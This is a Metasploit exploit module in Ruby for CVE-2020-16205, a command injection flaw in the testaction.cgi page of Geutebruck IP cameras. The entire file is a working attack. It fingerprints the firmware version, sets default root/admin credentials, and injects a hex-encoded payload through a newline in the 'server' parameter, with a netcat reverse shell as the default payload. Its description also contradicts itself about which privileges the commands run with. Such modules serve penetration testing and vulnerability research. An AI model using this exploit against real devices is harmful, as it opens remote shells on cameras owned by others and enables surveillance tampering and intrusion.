##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStager
	  
	def initialize(info = {})
	super(update_info(info,
	    'Name'           => 'Geutebruck testaction.cgi Remote Command Execution',
	    'Description'    => %q{
	    This module exploits a an arbitrary command execution vulnerability. The
	    vulnerability exists in the /uapi-cgi/testaction.cgi page and allows an
	    authenticated user to execute arbitrary commands with root privileges.
	    with web user privileges. Firmware <= 1.12.14.5 are concerned.
	    Tested on 5.02024 G-Cam/EFD-2250 running 1.12.14.5 firmware.
	    },
	    'Author'         =>
	    [
	        'Davy Douhine'
	    ],
	    'License'        => MSF_LICENSE,
	    'References'     =>
	    [
	        [ 'CVE', '2020-16205' ],
	        [ 'URL', 'http://geutebruck.com' ],
	        [ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ]
	    ],
	    'DisclosureDate' => 'May 20 2020',
	    'Privileged'     => true,
	    'Platform'            => ['unix', 'linux'],
	    'Arch'                => [ARCH_ARMLE],
	    'Targets'              => [
	    [ 'Automatic Target', { } ]
	    ],
	    'DefaultTarget'  => 0,
	    'DefaultOptions'      =>
	    {
	        'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
	    }
	    ))

	register_options(
	    [
	    OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]),
	    OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
	    OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-cgi/admin/testaction.cgi']),
	    ], self.class)
	end

	def check
	    begin
	    res = send_request_cgi(
	        'method' => 'GET',
	        'uri' => '/brand.xml',
	        'query' => "",
	    )
	    if res && res.body.include?("1.12.14.5")
	        return CheckCode::Vulnerable
	    end
	    rescue ::Rex::ConnectionError
	    return CheckCode::Unknown
	    end
	    CheckCode::Safe
	end

	def exploit
	user = datastore['HttpUsername']
	pass = datastore['HttpPassword']
	header = "type=ntp&server=%0a"
	uri = target_uri.path + "?" + "#{header}" + Rex::Text.uri_encode(payload.encoded, "hex-all")
	print_status("#{rhost}:#{rport} - Attempting to exploit...")
	res = send_request_raw(
	    {
	    'method' => 'GET',
	    'uri'    => uri
	})
	end

end